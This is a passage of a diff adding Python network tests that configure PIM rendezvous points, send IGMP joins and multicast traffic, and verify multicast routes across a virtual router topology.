GROUP_RANGE_ALL, oif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", GROUP_ADDRESS, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + dut = "r1" + iif = "r1-r2-eth1" + oil = "r1-r0-eth0" + logger.info("waiting for 10 sec to make sure old mroute time is higher") + sleep(10) + # Why do we then wait 60 seconds below before checking the routes? + uptime_before = verify_mroutes( + tgen, dut, STAR, GROUP_ADDRESS, iif, oil, return_uptime=True, mwait=60 + ) + assert isinstance(uptime_before, dict), "Testcase{} : Failed Error: {}".format( + tc_name, result + ) + + step("r1: Kill pimd process") + kill_router_daemons(tgen, "r1", ["pimd"]) + + step("r1 : Start pimd process") + start_router_daemons(tgen, "r1", ["pimd"]) + + logger.info("Waiting for 5sec to get PIMd restarted and mroute" " re-learned..") + sleep(5) + + # Why do we then wait 10 seconds below before checking the routes? + uptime_after = verify_mroutes( + tgen, dut, STAR, GROUP_ADDRESS, iif, oil, return_uptime=True, mwait=10 + ) + assert isinstance(uptime_after, dict), "Testcase{} : Failed Error: {}".format( + tc_name, result + ) + + result = verify_mroute_repopulated(uptime_before, uptime_after) + assert result is True, "Testcase{} : Failed Error: {}".format(tc_name, result) + + write_test_footer(tc_name) + + +def test_multiple_groups_same_RP_address_p2(request): + """ + TC_27_P2: Configure multiple groups (10 grps) with same RP address + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + + r1 : LHR + r2 : RP + r3 : FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface and send IGMP join (225.1.1.1) to r1") + step("Configure RP on r2 (loopback interface) for the group range" "225.1.1.0/24") + step("Enable the PIM on all the interfaces of r1-r2-r3") + step("Send multicast traffic from r5 to all the groups") + step("r1 : Remove the groups to RP mapping one by one") + step("r1: Shut the upstream interfaces") + step("r1: No shut the upstream interfaces") + step("r1: Configure the RP again") + step("r1: Shut the receiver interfaces") + step("r1: No Shut the receiver interfaces") + step("r2: Verify RP info") + + step("r2: verify rp-info") + dut = "r2" + rp_address = "1.0.2.17" + oif = "lo" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, oif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + group_address_list = GROUP_ADDRESS_LIST_1 + GROUP_ADDRESS_LIST_2 + step("r0: Send IGMP join for 10 groups") + result = app_helper.run_join("r0", group_address_list, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", group_address_list, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream IIF interface") + dut = "r2" + iif = "r2-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Delete RP configuration") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + } + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Shut the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No Shut the interface r1-r2-eth1 from R1 to R2") + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Configure RP") + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + } + ] + } + } + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Shut the interface r1-r0-eth0 from R1 to R2") + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No Shut the interface r1-r0-eth0 from R1 to R2") + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream IIF interface") + dut = "r2" + iif = "r2-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, group_address_list, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, group_address_list, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + write_test_footer(tc_name) + + +def test_multiple_groups_different_RP_address_p2(request): + """ + TC_28_P2: Verify IIF and OIL in updated in mroute when upstream interface + configure as RP + + Topology used: + ________r2_____ + | | + iperf | | iperf + r0-----r1-------------r3-----r5 + | | + |_____________| + r4 + r1 : LHR + r2 & r4 : RP + r3 : FHR + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Delete existing RP configuration") + input_dict = { + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + } + } + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + input_dict = { + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_LIST_1, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.4.17", + "group_addr_range": GROUP_RANGE_LIST_2, + } + ] + } + }, + } + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify RP info") + dut = "r2" + rp_address = "1.0.2.17" + oif = "lo" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_LIST_1, oif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify RP info") + dut = "r4" + rp_address = "1.0.4.17" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_LIST_2, oif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + group_address_list = GROUP_ADDRESS_LIST_1 + GROUP_ADDRESS_LIST_2 + step("r0: Send IGMP join") + result = app_helper.run_join("r0", group_address_list, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, group_address_list) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r5: Send multicast traffic for group 225.1.1.1") + result = app_helper.run_traffic("r5", group_address_list, "r3") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1 + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream IIF interface") + iif = "r2-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r4-eth3" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2 + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) upstream IIF interface") + dut = "r4" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) ip mroutes") + oif = "r4-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (S, G) upstream IIF interface") + iif = "r4-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r4: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r4: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False + ) + assert result is not True, "Testcase {} :Failed \n Error: {}".format( + tc_name, result + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("Delete RP configuration") + input_dict = { + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_LIST_1, + "delete": True, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.4.17", + "group_addr_range": GROUP_RANGE_LIST_2, + "delete": True, + } + ] + } + }, + } + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1, r2, r3, r4: Re-configure RP") + input_dict = { + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_LIST_1, + } + ] + } + }, + "r4": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.4.17", + "group_addr_range": GROUP_RANGE_LIST_2, + } + ] + } + }, + } + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Shut the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No shut the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Shut the interface r1-r2-eth1 from R1 to R4") + dut = "r1" + intf = "r1-r4-eth3" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No shut the interface r1-r2-eth1 from R1 to r4") + dut = "r1" + intf = "r1-r4-eth3" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Shut the interface r1-r0-eth0 from R1 to R0") + dut = "r1" + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No Shut the interface r1-r0-eth0 from R1 to R0") + dut = "r1" + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r2-eth1" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1 + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream IIF interface") + dut = "r2" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream IIF interface") + iif = "r2-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, 